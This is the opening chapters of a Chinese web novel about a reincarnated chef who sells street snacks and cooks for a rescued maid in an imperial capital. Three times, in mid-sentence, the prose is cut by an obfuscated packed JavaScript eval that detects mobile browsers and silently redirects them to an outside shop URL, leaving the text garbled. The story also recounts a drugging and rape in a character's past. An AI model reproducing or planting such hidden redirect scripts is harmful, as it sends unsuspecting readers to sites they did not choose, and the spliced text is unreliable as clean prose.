《我凭美食征服了指挥使》 1. 炒面【修】 春雨绵绵落了几日，鸟鸣声高低起落，此时，断线已久意识再次回归。 江弥杉立刻睁开眼，但还来不及诧异眼前怪异的床铺，紧接着就忍不住胃里涌上一股翻浪。 她迅速翻身下床，急寻到榻边的陶罐，吐出在胃里捣乱的东西。 待体内的浪彻底平息，她拧了一把手臂，确认不是在做梦，刺激的痛意似是提醒事实。 她穿越到了另一个世界。 混沌的头脑昏昏沉沉，接着又跟炸裂似的发疼，无力地身体也在摇摇欲坠，江弥杉坐至木凳。 奇怪的是，当坐下的一刻，一切都平息了，脑海跟着涌现出前尘往事。 新帝登基，重审世宗时震惊朝野、血染京城的太子谋逆案，为太子与一系蒙冤的官员正名。 涉及此案的罪臣尽数革职查办，还未开春已经斩了一批。 作为江大将军仅剩下的血脉，她蒙受圣恩，脱了奴籍，得以出宫。 新帝怜她是孤女，赐了这处房产与补贴以示告慰。 但长久的压抑、孤独使得她心力交瘁，在昨夜服毒。 而属于灵魂的记忆，是拿到荣誉厨师的奖章，又在全球烹饪大赛遥遥领先，夺取冠军，但回国的路上，轿车撞柱后侧翻，挡风玻璃碎了一地，她眼前只剩猩红一片。 因此，有了灵魂与□□的再次融合，她吐出来，是原主吃下的毒药。 理清前因后果，江弥杉深感奇幻。 只在电视剧里看到的情节，居然也发生在了她们身上！ 短暂地诧异过后，江弥杉不得不考虑未来。 既然复活了，那就得活下去，活下去就需要钱，何况，这是寸土寸金的京城。 对于赚钱，要么和原主一样去酒楼，要么就和上辈子一样“创业”，自己做老板。 重新打造江弥杉三字在餐饮届的含金量。 能再活一次，已经是幸运至极，可想到前上辈子没有完成的梦想，还是会遗憾。 江弥杉没有犹豫，果断选择了后者。 重活一回，她也想弥补遗憾，打造一个业内第一的餐厅！ 不过，当下要紧的是，她肚子肠胃空荡荡的，非常饿！ 依凭着记忆，江弥杉换一层层衣服，去打水洗漱。 简单洗漱后，江弥杉先去了厨房。 厨房是传统的柴火灶，但与印象中的大锅不同，更像是现代的燃气灶的设置，小锅、小炉眼，各眼可独立运作。 食材所剩不多，木盆里剩着面条，蔬菜也各有一些。 煮了碗清汤面吃下，面对食材缺乏的厨房，江弥杉决定先去购买物资。 厨房角落的竹筐中摆放着大小各异竹篮篮，江弥杉挑了个略深的，拿上钱袋，出了门。 空荡的街道，唯有不远处站着位面容冷峻的黑袍男子。 江弥杉与那身形高瘦的男子擦肩而过，他还未等到人开门。 她觉得奇怪，且不说当下几乎是用早饭的时间，这个时代，很少有贸然登门拜访的情况，如此，他还站在路边，就多少有几分怪异了。 但好奇心害死猫，江弥杉没有多管，加快步伐往前走。 巷中，跟着那抹清瘦的背影走尽，李定卓才收视线，确认江弥杉今日出门了，才转身从另一头离开清尚街，往镇抚司走。 穿街过巷，江弥杉逛到了京中的一处街市采买。 当朝的食材与现代社会基本趋同，只是名称上有所区别，甚至设有西域市集，供外邦以及西域的商人售卖香料等食材。 对她“创业”，还是十分有利的！ 京城的餐饮发展的很成熟，这从原主在点膳司与在酒楼做厨师的记忆中大致就有迹象。 菜品种类多样，涉及煎、炒、炖、煮、炸、烤等等技艺，卧虎藏龙，能否分一杯羹，全凭本事。 若是掉以轻心，只会被市场抛弃，最终失败。 由此来看，她来自现代，不过是锦上添花的事，最终还是得靠手艺，才能有所成就。 本事什么的，她有自信，但当下她的情况，并不适合做酒楼。 反而，路边小摊会更适合，游动售卖，做些小吃，先把名声打出去，待时机成熟，再置铺子。 从头开始，像上辈子那样，一步一个脚印，才是真理。 江弥杉提着装满的菜篮原路返回清尚街走，忽传来快速起落的马蹄声，路上的百姓立刻慌忙地分站至两旁。 江弥杉随着人群移动，百姓们胆颤惊心地分站在道路两边，用衣袖掩住口鼻，等穿着飞鱼服的马队扬长而去，泥尘落下，才松了口气，走上街道，继续采买。 前方的两位的路人忽说起锦衣卫的骇人之处。 ：“他们一出来，准没好事！” ：“小声点，活阎王的耳目听到了，你能有什么好下场？” ：“李青云的手都废了，出来就被移交府衙，你看皇上可有责备他？” ：“这还算是轻得，有几个进了镇抚司就没出来，你也想如此？” 或许是破碎的记忆如刀似剑，并未随着时间的流逝儿而削弱一丝一毫，再有脑补的诸多画面，江弥杉心还是止不住地颤栗，背后随之冒出一层冷汗。 待人群散开，她还站在原处，等慌乱又紧绷的心绪平稳，才抬步向前。 ＊ 有了摆摊的想法，江弥杉立刻就开始分批筹办物资。 而每次外出采购，都会在巷子里遇到那个男子。 久而久之，江弥杉胡乱猜测，可能是社区保安人员，或者也可能是谁的情郎…… 小摊用具都在定做，闲暇时间，江弥杉坐在院中的树下，烧起个小碳炉，打一壶井水，放一两样点心，品饮茶点。 上辈子，反到没有这份闲心，好好享受生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009198|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活。 日头则随着对售卖什么，落至房瓦之下。 京中的摊贩大多都以售卖烧饼、包子为主，味道大同小异。 要做出新意，吸引食客，上辈子的街边小吃就很合适。 但小吃也很丰富，纠结过后，江弥杉打算先售卖手抓饼，食堂、学校门口等大街小巷都常见的路边摊小吃。 对于吃的少的人，一个就能吃饱，对她而言，起码也能撑一两个小时。 酱料虽无法与现世完全对应，但基本的香辣酱能够调配出来的。 另外还需一个味道清淡的酱汁，当季不是番茄成熟的季节，但并不是什么难题，江弥杉仍决定做成酸甜口。 手抓饼的所需酱料要调制，现腌酱来不及，江弥杉便去市场买了两缸辣酱和各种香料，自行调配，太阳落山前，就调制出满意的香辣酱。 第二日，江弥杉就开始试不同的糖醋配比。调制满意的口味，所用的时间并不长，一个午后就做出了酸酸甜甜的糖醋酱，风味十足。 时间在忙碌时过得尤其开，几天眨眼间晃过，江弥杉也调制好其余的食材。 天气晴朗，一早江弥杉就江弥杉做了糖醋铁板炒菜，自留了一份，另一份打算端给街道安保，请他尝味。 但今日他竟不在，倒是前几户的一个小男孩跑回来时，闻见香味，问家里无人，能否给他吃。 蔬菜、面、还有试做的鸡肉，放在铁板上翻炒至软，再浇上棕红浓稠的糖醋汁，拌匀入味，即可出锅。 只是闻味，汪小俊就馋得快流口水了。 两人坐在门口的台阶下，汪小俊夹起一大筷，送入口中，酸酸甜甜的好滋味顿时在单调的口中爆开，菜蔬甜脆，连着劲道又顺滑的面，根本舍不得咬断，汪小俊一口气就嗦进口。 嘴里鼓鼓的，还不断地嗯嗯的感叹着。 只觉得别说是炒面，便是拿酱汁拌树叶都好吃！ 江弥杉坐在一旁，看他满意地吃完一口，才问：“如何？” 汪小俊都快淌眼泪了，：“太好吃了！只是我吃过最好吃的面之一” 江弥杉轻笑，：“慢些吃，无人与你抢。” 汪小俊又挑起一大筷：“慢点吃就不爽快了，就是要大口大口吃，才好吃呢！” 江弥杉被取悦，笑道：“嗯，那你可想尝尝香辣味的，你若是喜欢，我可做了，端来送你。” 汪小俊眼睛一亮：“谢谢姐姐！” ：“无须客气。”江弥杉笑回。 几日眨眼即逝，定做的小摊与厨具也先后完成。 没有冰箱的年代，江弥杉依旧坚持保证食材新鲜的原则。 提前一夜做好手抓饼所需的面团、酱汁等食材。 夜里，顺便做了一个饼当宵夜，坐在廊下吃饼子，赏月亮。 万事俱备，翌日清晨天刚亮，江弥杉便推着小摊出门了。 2. 游动小摊 天微微亮，淡青色的空中飘着几缕细云，阳日还未有力发热，湿润的空气中还带着夜里未散去的凉意。 仁恩街间，穿戴整齐的学子陆陆续续地从国子监往外走。 街道上错落着几家小摊，刚出锅的烧饼烤得金黄，正中扑有圈白芝麻，一旁的小摊上的蒸笼正冒滚滚香烟，商贩打开一层，露出白白胖胖的馒头、包子…… 学院里固然有食堂，但实在难令人满意，再加上在内进学的学员大多是官宦子弟，味口刁钻，于是诸多学子都会在早课前到学院外吃早食。 只是，今日学院外的商贩中，多了位颜姿明媚的姑娘，令人眼前一亮。 她身前的推车上标有江记小食四字，其下画有三条波浪。 车上蹲有两个嵌在木板中的碳炉，炉上放着一块铁板，周边是几个陶罐和竹筐。 卢灿宇观望了一阵，实在是包子、饼都吃腻了，虽然看她年纪不大，但压不住尝鲜的心，还是忍不住地走过去。 见客来，江弥杉秉持着热情、贴心的服务原则，露出笑容，语气温和地招待：“公子可买个饼？” 一听是煎饼，卢灿宇不免失落地叹了口气，煎饼也吃得不少了，不过比起其他的，尚还可以将就。 ：“那……来一个吧。”他道。 ：“饼十文，其中配一个鸡蛋和菜蔬，加烤鸡肉七文，公子可要加内料？” 说着，江弥杉弯身拿出一个块个小面团，掀开盖着木板和擀面杖的纱布。 卢灿宇并不在意价钱，毕竟才二十文左右，还有肉蛋，却是好奇煎饼如何与这些食材相配。 ：“都加吧。”他道。 ：“好的。” 面团由粗条盘成小山似的卷，像食堂常有的花卷，亮莹莹地闪着油光。 江弥杉握着擀面杖，将面团滚成圆饼，又拿过一把宽铁铲，拖住面饼，挪至铁板正中。 两次翻面后，饼面泛起灿黄色，谷物香也随之飘散。 江弥杉单手从小竹篓里拿出个鸡蛋，在铁板边一敲。 咔呲一声，她手往两边一开，整颗蛋就完好无损的落进板里，滋滋响。 鸡蛋尚未凝固，就被迅速搅散，金色的蛋黄与雪白的蛋清交融着滋滋冒香，下一刻饼皮覆盖。 江弥杉笑问：“酱汁有糖醋、香辣两种口味，公子吃那种？” 到着一步，卢灿宇更好奇：“糖醋？” 香辣他知道，无非就是用辣酱，糖醋，他到还是第一次见用于煎饼上，往常吃得，多是涂抹炼制各种油酱，裹在饼吃，但糖醋却是未尝过。 稀奇是稀奇，不过，酸甜，他不爱。 ：“辣酱吧。” ：“好的。” 江弥杉从竹筐里夹出来几条橘红的肉放上铁板，小铲子轻而易举地切断，又翻炒几下，道道诱人的肉香就飘至鼻下。 卢灿宇眼睛直勾勾的跟着肉块来到板上，问：“这是什么？” 闻着鸡蛋香气已经浓郁，江弥杉翻过饼，目光从鸡肉滑过，抬眸答道：“是炸过的鸡肉。” 准确来说，是她特制的鸡柳。 用洋葱、姜蒜、数位香料粉、鸡蛋、酱油等材料将鸡胸肉腌入味。 倒入油锅翻炸，鸡块的颜色在细密小泡的包围中逐渐变为橘红色，用漏勺中沥去多余的油，晾凉用油纸包起储存。 味道与上辈子路边摊上的炸鸡柳大致相似，但更香嫩，刚出锅时，又香又嫩，一下就勾起她放学后，一面吃鸡柳，一面晃悠着回家的愉快回忆。 江弥杉拿出陶罐里的毛刷，往饼皮上涂一层棕红的辣酱，接着拿来两片青绿的还挂有水珠生菜叶。 在这儿，名叫脆菜。 薄薄扑一层香油炒的香脆土豆丝，切断的鸡肉沿正中排布，再刷一层酱汁，小铲一推，丰富的内料就被淡黄的饼皮裹起。 黄、绿、红三色，满满当当的，看着就很诱人，就是不晓得是什么味。 和以往吃过的煎饼都不一样，卢灿宇只觉得更饿了，恨不得立刻尝味。 江弥杉利落地放进油纸袋里打包，递给卢灿宇。 油纸袋上同样印着江记小食四个字，下方是几条波浪。 江弥杉特意寻了纸铺，寻到略厚的油纸袋，又请店家印字。 虽然是做小吃，但也不能做无名饼子，建立好口碑重要，但缺了品牌建设，一样是无用功。 识字的认得是江记，不识字的就看波浪，也能知晓江记，总之就是一定要在食客的记忆里留下印象。 ：“担心烫。” ：“多谢。” 热鼓鼓的卷饼握在手心，到比包子、馒头、烧饼更厚实，闻起来也更香！ 付过钱，卢灿宇愈发好奇，这煎饼的味道。 做法新奇，他从未见过，就连那什么鸡肉他都从未听说过，也未吃过。 走至一边，卢灿宇咬了一口，情不自禁地扬起一声嗯。 真好吃！！ 饼皮香软，边缘被煎得酥脆，接着袭来香辣的酱味，热腾腾的香辣激醒寡淡的味蕾，香中带辣的味道又在脆菜的点缀下增上清甜，甚是相配，引得他想咬下一大口。 香辣的酱与鸡蛋的醇香融合，在加上甚是香嫩的炸鸡肉，各色香辣都包裹在这层薄饼里，在唇舌间绽放。 他接着又咬一大口，这回份量更足，肉、菜蔬都齐全了，又香又辣，滋味满满，晨起的困乏随之被驱散，只觉身上都更有力气了！ 看起来稀奇古怪的，没想到竟这般美味。 卢灿宇握着饼，边吃边走，回了书院，在廊下站着吃饼，同窗见他吃得眉眼带笑，哪里还有早起的萎靡，就问了一嘴：“卢兄买的谁家的饼？” 卢灿宇抽空回：“就在门口的路边，像是叫……”他垂眸一看，油纸上的图画，：“江记小食。” 同窗笑着答谢，到书院外去寻煎饼。 卖煎饼的小娘子动作快的很，一个煎饼三两下就摊好，这时又来了几个同窗，互相问过好，就站在小摊前等待。 他口味清淡，买了糖醋口的。 咬一口，酸酸甜甜，饼皮香酥，煎过的饼不似蒸的那般里外都是软的，而是外酥里软，很有劲道。 内馅有了蔬菜的点缀，衬得肉不是那么腻人，其中的肉没有一点腥味，这点是他最满意的。 肉沾了腥味，他就一点都吃不下。 最出乎意料的是糖醋汁，竟会如此相配，酸中有甜，两者谁都不突出来，多一分就甜，少一分就酸，味道和谐适宜。 那抹酸就浸染着舌尖，锣鼓一般，咚的一声在体内里响彻，唤醒尚未在沉睡的肌体，甜又尤如一场甘霖，甜滋滋地滋润着。 恰如晨起推窗，迎面洒来水润的草香，在其润色下，夹在饼中的鸡肉、土豆丝、脆菜的味道都更有滋味，多吃几口也不会腻，还越吃越想吃，十分诱人。 头一回觉得，阳光晒在身上会如此暖乎，他握着饼，脚步都欢快了几分，吃着饼离开。 转眼间，学生开课，江弥杉又推车去下一个阵地。 朱雀街售卖早食的商贩已经开张，江弥杉推着车，停在了中间的一个空位。 这一条是下朝的官员必经之路，清清嗓子，江弥杉开口吆喝：“煎饼，一个就饱。” 沿途，车轿停下，小厮装着钱袋子来买饼。 官员们多是选择全加，毕竟二十文在他们眼中不过九牛一毛，至于口味，大多都选择清爽酸甜的糖醋酱。 遇上心情不错的，还会多给些，说不需找零。 流动摊位的好这时也就体现出来，沿街售卖，累了就停下休息，照样有食客购买。 剩最后几个饼时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009199|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个身形魁梧的男子走至小摊，每人都要了两个饼。 江弥杉一次摊两个，剩余的料满满当当的卷入饼里，听先拿到饼的几个站在一边连说声好吃，又加快了速度。 营业第一日，备的材料都不多，但饼子售罄的时间比预想的更早一些，江弥杉欣喜地在心中哼着歌，推车回家。 买饼的人中，一个走在前头的青年男子持饼，歪头看向身旁的章文安，道：“另一份该不会是带给指……老大的吧？” 章文安握着饼，暗暗叹口气，瞥眼：“那是自然，难不成看他又饿着回镇抚司？” ：“这饼子，老大未必动口吧，虽然味道不错，但……才几十文。” 另一人附和：“是啊，老大连御膳都只是勉强吃一口。” 章又安不耐烦地啧一声，：“他不吃，我吃。” ：“……” 四人在街口散开，章文安拿着饼，跑去附近仁清街的一处卖豆腐脑的小摊。 果然如他所想的那般，章文安嘴角扬起，喊了声：“定卓。” 街道少有人往来，摊贩也极少，只有这一个豆花摊开的时间最长。 摊前有一位胡子花白的老头，面前煮有两锅豆腐脑。 一锅净豆腐脑，一锅菜豆腐脑。 摊上只坐着一位神色淡漠的男子，凤眼往远处一扫，眨眼间就收回来，眸里却未有波动，似一汪死水，波澜不惊。 章文安快步走近：“我一猜就知道，你必定在这儿。” 李定卓盛起勺乳白豆腐脑，一口吸入，没有多说一个字。 章文安习以为常，拿出煎饼：“给你带了份煎饼，特意选得糖醋口。” 酸甜的味道袭击，李定卓屏住呼吸，一眼都未往饼上看，：“不吃，拿走。”　语气中不露息怒，平淡至极。 章文安无奈地一笑，并未强压，话风一转道：“那我吃了。” ：“坐远些。” ：“……” 说完，李定卓继续吃豆花，碗里没加糖，也没加卤子，只是纯纯的一碗光豆腐脑。 李定卓重复地吸入，面上甚至看不到一丝觉着好吃、美味的情绪。 章文安咬一大口饼子，酱汁酸甜与馅儿香脆，咽下去才道：“老伯，给我来碗加卤子的豆腐。” 摊贩勾着腰，背对着应了声好，客官稍等。 章文安眯眼笑：“陪你吃碗豆腐。” 李定卓：“随你。” 老伯端来浇卤子的豆花，棕色的汤卤浇盖住乳白的豆花，飘着小段的香菇、木耳，中间一撮嫩绿的芫荽点缀。 章文安从底拌了几下，卤子与豆花融合均匀，他才盛一勺入口。 卤味咸，菌菇鲜，与豆腐脑的醇厚豆香融合，入口就化。 咸味配上酸甜味，两种味道交替，多吃也不腻。 不过，豆腐脑是无法与宫里的相比，章文安不明白，李定卓连御厨的颜面都不给，怎么偏偏就钟情于这家小摊，如此下去，胃的毛病何时能好？ 眼看看着李定卓将要吃完，担心落单，章文安几口咬完煎饼，接着端起碗喝完豆腐脑。 吃得太突然，在堵塞感用上时，他忙抬袖掩口打嗝。 李定卓起身去结账，顺手端着碗过去，付过钱，头也不回地就离开。 章文安忙将银钱放桌上，追赶出去。 ：“等我几步。” 李定卓抬步继续往前，直至章文安赶上，喘着气，捂着发痛的腹，道：“好歹也等等我，小时候，我那回不等你。” 李定卓淡淡瞥一眼，：“等了，是你没追上，动作、反应迟缓。” ：“贪图口腹之欲，不知节制。” 章文安：“那饼子是真好吃，你要吃一口，保证你也喜欢。” 李定卓一刻也未犹豫：“我不会。” 3. 鸡丝香菇粥 风雨过后，凉意藏进春风，抚弄着树丫间的绿意与树下人的春衫，人们又只得换上略厚些的衣裳，抵抗凉风捉弄。 售了一个月的手抓饼，又逢雨天，无需出摊，江弥杉决定更换小吃，她挎着装着所需香料的竹篮，从药材店走出，一声哭喊穿过街道吸引住她目光。 ：“四姑娘，救我……” 闻声望去，江弥杉瞧见一个将被捆走的姑娘，她被一团棉布又重新堵住口，泪眼朦胧地拼命望着弥杉，却在被托着往前走。 满街的人都被吸引住目光，又接着落至江弥杉身上，揣测二人之间会存在的关系。 江弥杉几步走下台阶，忽想起原主身边从小跟着的一个叫兰香丫鬟。 就算是年纪增长，但模样的变化也不大，完全对得上记忆中的兰香的脸。 如此，江弥杉走过去叫住人牙子，微微笑着：“这人合我眼缘，她我买了，出个价吧。” 人牙子上下打量眼前动人的女子，咽了下喉结，：“三两。” 手里这个，破了身、又还病着，说不定就将要没了，带回去还要寻医问药出钱，倒不如低价买了，喊高了，反倒卖不出去。 若是上街，江弥杉通常会带十几两银子，她没有多说付了钱，人牙子拿钱在手，松开绑在兰香身上的麻绳。 兰香如泄气的高脚气球人一般的瘫倒在地，想站起，却无力，只得抬着哭红的泪眼望着江弥杉。 在江弥杉扶起她时，兰香气若游丝地开口，满语哀伤：“兰香还以为，这辈子再也见不到四姑娘了……” 兰香身上烫得似火炉，江弥杉费力地架着兰香，安抚：“没事了，没事了，我带你回家。”忽略众人奇怪地注视，两人慢慢走离。 收拾屋子，请医问药，忙碌至正午，原本要卤的肉还挂在背光阴凉的木架上，挎回家的竹篮也原样未动。 灶上的砂锅里熬着粥，飘出缕缕鲜香。 一旁，江弥杉拿起陶盖，亮光投入就不见天日的罐中，水泡从青绿的豇豆中挤出，咕嘟一响，发酵中的酸味应声冒出。 江弥杉夹起几条豇豆，下方的卷心菜叶露出，豇豆放至案板上，她接着夹了几叶卷心菜。 刀快速起落，长段的豇豆手起刀落间成了小段，恰好能装满巴掌大的白瓷碗，她接着快刀切断三四片卷心菜，刀面盛着，放进另一个白瓷小碗。 案板淌满酸汁，江弥杉提着案板上的吊环，拎至墙边放着的木桶上，弯腰打一瓢水冲洗，用软帕擦干，再挂回墙上的原处。 墙上挂着大小案板，常用的就三个，分别用于切熟物、生食以及腌制的各种泡菜。 江弥杉又思索了片刻，宫里做膳食，吃粥时习惯配几道小菜，除去腌菜，通常还会配几道熟食。 只有腌菜的确太单调，那便再做一道小炒肉吧！ 从挂着的五花上割下一小段，洗去血水，提取肉上的筋，横刀，眨眼见切成厚度均等的肉片。 葱姜、胡椒、盐拌匀，腌制祛腥，当天宰杀的猪，腥味更浅，江弥杉在市集逛了一圈，才挑得这几条肥瘦均匀的五花。 又有粥香飘来，江弥杉走至砂锅前，揭开锅盖，浓郁的烟气消散后，缤纷映入眼帘。 橘红的胡萝卜、棕黑的香菇、淡黄的鸡丝与鸡蛋点缀着浓稠的白米花。 搅拌间，道道米香扑鼻而来。 此刻炉眼内的火弱弱飘着，江弥杉又盖上锅盖，由小火悠悠地催米油。 肉是简单的小炒，控出五花在煎炒时冒出的过多的油，脂层凝聚，味道会更香，接着倒入少许酒去腥，翻炒够后盛入碗里备用。 再借着留在锅底的猪油直接放入葱段与蒜末，翻炒出浓郁的葱蒜香。 最后倒入猪肉一齐翻炒，加入少许酱油、盐、砂糖调味。 肉片微微泛着酱油的棕黄，脂层丰腴，连接油亮的瘦肉。 菜已齐全，江弥杉盛起两大碗粥，接着放撮浓绿的香葱在中间，放入托盘，抬起走出厨房。 ＊ 喝过红糖姜茶，兰香很快发了汗，身上力气也回来了少许，忽闻饭菜香，她侧身望去，就见江弥杉端着托盘走近。 兰香暗暗觉得悲哀，低喃：“姑娘……” 江弥杉先将盘放至八仙桌，笑着扶起兰香，随后搬来一张小炕桌摆上床，才去端托盘。 兰香望着勾得她馋虫蠢蠢欲动的饭菜愣住了，姑娘何时有这般好手艺了？ 江弥杉看她疑惑，解释道：“我在点膳司时，跟着御厨学了些手艺。” ：“尝尝味道如何。” 提到宫里，兰香不免想起几年前的事，吸吸鼻子，即便心中已有所感，但还是挣扎着问：“夫人、太太呢？” 脑海里浮现生离死别时的肝肠寸断，如鲠在喉，江弥杉沉默片刻，只说得出三个字：“都不在了。” 斩立决的旨意才出，内监就到狱里告诉了她们这个消息，母亲、嫂嫂们悲愤欲绝，很快就自尽了。 某日醒来，原主入目就是几具吊在梁上的亲人，以及一封母亲留下的血书，告诉她要活下去，江家不能都是枉死的鬼。 至今，家人的尸首埋在何处都尚未知晓，纵然之后入了宫，也无法光明正大的立牌位祭拜。 兰香捏着勺，再忍不住，滴下泪珠。 江弥杉平复心情，安慰道：“如今冤案平反，皇上开恩准我出宫，这宅子就是朝廷赐我的，爹娘、哥哥、嫂嫂们的牌位都能光明正大地放着，待你身体养好，便去祭拜她们。” 这些年，姑娘必定更苦。 兰香忍着难过，点头，吃下一口粥。 又香又软，浓稠的粥米从舌尖一下就滑下去，暖乎乎的。 ：“别只吃粥，肉、腌菜都吃写，病着也不能吃太素。” ：“嗯。” 兰香夹起块肉吃，闻着就香的肉，入了口更是绝味。 葱蒜的浓香烈烈，包裹着醇香，肉是软的，没有一丝柴意干扰，但又有嚼劲，越吃越香，大块又厚实，究竟是肉香，还是葱蒜香，她也说不清楚。 但她许久没有吃过这样好吃的炒肉了，而且还是姑娘做得！ 兰香又望一眼江弥杉，不免又与曾经相较，她身上已是看不见半点从前的骄矜，不仅是沉稳，还有一种无可诉说的寂廖。 兰香心内更加难受，但还是笑着夸赞：“真好吃！！” 江弥杉看她神色变了几转，明白她的心思，但也未提及，只轻笑：“那就多吃些，瘦得都快只剩骨头了。” 爽脆的腌菜，酸溜溜的，其中又带着点甜，感觉一下子又能再吃一碗粥！ 吃完饭，兰香坐了一会儿，肚子头一回饱鼓鼓的。 江弥杉收拾干净厨房，还是决定今日将肉卤了。 没有冰箱，即便食材存放在完全背光屋里，依旧无法避免变质。 明天照样出摊，但需早些回来，为兰香煎药。 江弥杉进屋时，兰香已经靠坐着睡着了，弥杉轻轻将她放平。 兰香迷迷糊糊睁眼，江弥杉又轻声细语：“睡吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009200|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>兰香睡下，趁着天还亮着，江弥杉去卤肉。 肉皮先由火燎一道，刮去黑色杂质，切成四四方方的正方体，倒入凉水中加热。 汤沸起时，表面浮起白沫，江弥杉沿着打干净沫子，在第二次沸起时，捞起泛白的肉清洗。 接着，江弥杉从竹篮里拿出几包药材，连着前几日买的，大约有桂皮、月桂叶、八角等十几种香料。 炉眼内烧起大火，江弥杉往冒泡的铁锅内倒入两碗冰糖与一汪水，沿着一个方向搅拌，加速冰糖融化。 糖与水渐渐相融，在小密泡中融化成浆，颜色又浅黄慢慢加深，直至成为枣红，黏挂在锅铲上。 江弥杉抓住时间，迅速倒入水，快速搅拌。 糖浆与水完全相融，江弥杉接着倒入肉块与香料，加入酱油、盐等提色味，慢慢炖煮，激发肉香。 ＊ 日西沉，晚饭吃得仍是鸡丝香菇粥，午后兰香喝了一碗药，这会儿烧退了，身上却仍有些虚。 饭后闲聊，江弥杉将明日要出去摆摊的事告诉兰香：“我出宫以后，做了个小摊，在京城的街巷卖些简单的吃食，这几日下雨，没出摊，明日应该是个好天气，我早上出去，中午时便回来。” ：“我会做几样糕点，明日用小炉子热着，放在你房门口，你醒了就吃些垫垫肚子，午饭等我回来再做。” 兰香点头答应，有了力气，问出了憋在心中许久的疑问：“姑娘怎么不问我经历了什么，如何会沦落至此？” 江弥杉微微一笑：“我不想让你去回忆不高兴的事，但若是你主动与我说，我也会仔细听你讲。” 兰香心头一热，红了眼圈，忆起往昔。 江家被抄家后，她们这些做奴才的也被卖了，有的已经不在京城，有的是否活着都不知晓…… 因为针线做得好，她是被一家布匹店的女老板买了，去店里做工。 店主有一个儿子，兴许是见她生得模样好些，苗条些，总是趁店主忙碌时动手动脚。 她百般抗拒、回绝，却不想店主的儿子会变本加厉。 那日他端来一杯水，兰香正是口渴，就喝了下去，再醒来，她就躺在店主儿子的身边，浑身赤裸…… 店主发现了，责骂她勾引公子，但店内伙计不够，她仍留了下来。 但很少在做刺绣，而是去做些洗衣做饭的粗活。 但依旧无法阻止少爷，事情又发生了许多次，她服了药，小腹刀割一般的痛，身下都在流血！ 待店主儿子娶了新妇，不知怎么，闹翻了一回，他又闯进兰香屋里。 可床头吵架床尾和，没过几日他们就和好了，两人又如胶似漆，商量着卖了她。 听完，江弥杉握手指都握得发疼，一口气闷在心中，片刻，她深呼吸几回，带出闷气。 不愿兰香在难过，江弥杉蹙着的眉心散开，脸上的沉重也被一抹笑意减染了少许，温声道：“这些都不怪你，错得是那些无耻之人。” 兰香眨眨眼，掉下一滴滴泪珠，呆叫一声姑娘。 江弥杉微微笑：“你跟着我了，我们就踏踏实实地将日子过好。” 如沐春风般的笑意，兰香眼含热泪地点头，：“我听姑娘的，我再不离开姑娘了。” 姑娘到底是与从前不一样了。 江弥杉轻拍兰香的薄肩，：“先养好身子，将来的事，往后在想，从前的事也莫要再执着，向前看，才能有好日子。” ：“我们一起，赚更多的钱，在京城站稳脚跟。” 4. 肉夹馍 苦等五日，阴雨散去，今日总算得见江记小食的推车。 不过，今日的小摊却有些不同之处。 卢灿宇打量了许久。今日的小摊，装置着个做烧饼用的桶，旁边的小火炉炖有砂锅与深竹篮。 桶口是同心圆，中间镂空，外一圈铺着铁皮，砂锅则漫漫往外散出肉香。 探究的目光一览眼底，江弥杉介绍：“今日卖肉夹馍，公子可要来个尝尝？” 卢灿宇抬眼，重复一遍：“肉夹馍？” 这又是什么稀奇的吃食？ 江弥杉：“食如起名，便将卤香的五花肉切碎，加入些青椒段，一起夹入烤脆的烧饼。”她笑着揭开砂锅盖。 热烟滚滚涌来，卷袭着浓郁且诱人的肉香冲入鼻息，几个拿着包子的学员都转过了身一探究竟。 卢灿宇眼睛直勾勾盯着肉，空咽一口，抿起薄唇，舌满意地转了一圈。 这吃起来得多香呐！ 琥珀色的浓汤棕中带红，不断鼓起大小泡泡，撞着环在汤中的肉做得琥珀。 肉块最上层肉皮同汤色相近，阳光为其镀上层亮眼油光，橘黄的脂层晶石般晶莹透亮，色泽美丽。 一层叠一层，颤颤巍巍，似在呼吸，一颗晶珠就沿着掉进浓汤，似乎在热些，就要化在锅里。 非得下足料、控严火，炖得穿皮透肉，才能如此红亮耙软。 卢灿宇又咽了一口馋劲儿，：“来一个。” 江弥杉：“二十文。” ：“行。”毫不犹豫。 江弥杉从下方拿出火钳，伸进桶内夹出个巴掌大圆饼。 烘烤后，饱满的饼身泛有淡淡金黄，酥热的饼皮上由中心至饼边环起圈圈麦黄线。 江弥杉从下方又拿出一把刀，却是放在案板上。 饼边裂有条曲折的缝玟，她捏住两侧，用力一捏，砰砰几声，饼子沿缝裂开，一分为二。 江弥杉再握着漏勺盛出两块肉放再案板上。 弹软的肉调皮地跳了一下，江弥杉握着刀，往肉上一轻轻压。 